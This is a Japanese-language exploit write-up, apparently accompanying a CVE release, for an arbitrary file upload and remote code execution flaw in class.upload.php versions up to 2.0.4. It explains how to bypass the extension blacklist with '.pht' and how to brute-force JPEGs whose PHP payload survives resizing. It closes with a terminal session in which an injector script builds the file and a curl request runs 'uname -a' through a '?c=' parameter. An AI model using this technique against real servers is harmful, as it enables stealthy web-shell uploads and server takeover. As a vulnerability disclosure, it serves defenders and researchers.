
これは、class.upload.php <= 2.0.4 において、フィルターバイパスを利用して任意のファイルアップロードとリモートコード実行を可能にするエクスプロイトです。
これはフィルター回避エクスプロイトであり、任意のファイルアップロードとリモートコード実行を引き起こします。 class.upload.phpスクリプトは「危険なファイルとコンテンツ」をフィルタリングし、それらをtxtファイル拡張子にリネームします。 また、アップロードされた画像に対してさまざまな変換を行うため、ファイル拡張子フィルターを回避できたとしても、通常は注入されたペイロードを破壊します。
ファイル拡張子フィルターはブラックリスト方式のため、新しい拡張子が導入されるたびに(この場合はpht)、または見落とされた拡張子がある場合、PHPファイルをアップロードできます。 ただし、コンテンツは引き続き有効な画像である必要があり、imagecreatefromjpegなどの関数を通過します。 この目的のために、class.upload.phpで行われる処理によってペイロードが破壊されない画像が見つかるまで、さまざまな画像を総当たりで探索するinject.phpスクリプトを作成しました。 これにより、実質的に任意のファイルアップロードが可能になり、アップロードされたページでは有効な画像として表示されるため、非常にステルス性の高いコード実行が可能になります。
inject.phpスクリプトは、近い将来この種の攻撃のためのより一般的なツールとして書き直される予定ですが、現時点ではこの種のCVEリリースに個別のスクリプトとして含まれるだけです。
upload.phpスクリプトは、verot.netのGitHubにあるサンプルコードです。 この脆弱性を、彼らのサンプルコードを使って実証するのが最善だと考えました。
user@ayu:/var/www/html# php inject.php
-=Imagejpeg injector 1.8=-
[+] Fetching image (100 X 100) from http://lorempixel.com/100/100/
[+] Jumping to end byte
[+] Searching for valid injection point
[!] Temp solution, if you get a 'recoverable parse error' here, it means it probably failed
[+] It seems like it worked!
[+] Result file: image.jpg.pht
user@ayu:/var/www/html# curl -v -o - http://localhost/images/image_resized.phar?c=uname%20-a | grep -aPo "(Linux.*GNU)"
Linux ayu 5.0.0-36-generic #39-Ubuntu SMP Tue Nov 12 09:46:06 UTC 2019 x86_64 x86_64 x86_64 GNU